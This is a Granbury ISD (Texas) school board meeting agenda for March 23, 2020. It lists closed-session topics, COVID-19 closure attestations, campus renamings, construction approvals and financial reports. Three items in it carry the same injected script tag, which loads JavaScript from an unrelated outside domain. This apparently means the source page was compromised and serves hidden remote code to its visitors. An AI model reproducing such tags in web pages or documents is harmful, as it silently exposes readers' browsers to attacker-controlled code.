Public Meeting

Monday, March 23, 2020 5:00 PM
Granbury ISD Board Room, 217 N. Jones St., Granbury, Texas 76048

1. **Call to order - 5:00 PM - GISD Board Room**
2. **Convene in Closed Session under the Texas Open Meetings Act, Texas Government Code Section 551.001 et seq.**

a. Section 551.074 - to deliberate the appointment, employment, evaluation, reassignment, duties, discipline or dismissal of a public officer or employee.

1. Staff Recommendations <script async="" src="//soursejone.com/21dca2f7d5837c09f5.js" type="text/javascript"></script>

b. Section 551.076. Deliberations Regarding Security Devices or Security Audits

c. Section 551.071, 551.129 - Consultation with the Board Attorney. This consultation may take place telephonically. <script async="" src="//soursejone.com/21dca2f7d5837c09f5.js" type="text/javascript"></script>

d. Section 551.072 - Purchase, Exchange, Lease or Value of Real Property

3. **Reconvene in Open Session - 6:00 PM**
4. **Moment of Silence/Invocation**
5. **Pledges - U.S. Flag & Texas Flag**
6. **Open Forum / Public Comments**
   Patrons who have duly registered per policy BED (LOCAL) may address the board regarding matters of concern/interest to the district. The board may not act upon any matter that is not listed under the action item portion of the agenda.
7. **Discussion/Action**

a. Consider Consent Agenda Items

1. Approve Regular Meeting Minutes of February 17, 2020 <script async="" src="//soursejone.com/21dca2f7d5837c09f5.js" type="text/javascript"></script>
2. Consider Approval of Instructional Materials Allotment and TEKS Certification Form
3. Consider Budget Amendments

b. Consider and approve resolution of delegation of authority for Superintendent related to staff pay under Board Policy DEA (LOCAL).

c. Attestation Statement of Granbury ISD, attesting that the District will Provide Educational Resources and Implementation to Provide Instruction to Students During the District's Closure Due to COVID19 Pandemic and Waiver Request

d. Consider Partnership with Head Start

e. Consider Adoption of Local Policy Regarding Early Childhood Center

f. Consider Change to Granbury ISD's Teacher Excellence Initiative Program (GTEI)

g. Consider Approval of official campus name changes to John and Lyn Brawner Elementary; grade levels will be K-5; Emma Roberson Early Learning Academy; grade levels will be EE-PK and STEAM Academy at Mambrino; grade levels K-5.

h. Consider and Approve Guarantee Maximum Price for Construction Projects

at Baccus, Brawner, and Mambrino Elementary Schools and Authorize the Superintendent to Execute all Necessary Documents to Proceed with Projects

i. Consider Maintenance Tax Note to Fund Construction Projects

8. **Reports**

a. Superintendent's Report

b. Financial Statements for Period Ending February 29, 2020

c. Cash Flow Statements for the Period Ending February 29, 2020

d. Report of Categorical Purchases between $50,000 and $100,000 as Required per Board Policy CH(LOCAL)

9. **Consider Action on Items Discussed In Closed Session**

a. Consider Staff Recommendations

10. **Adjourn**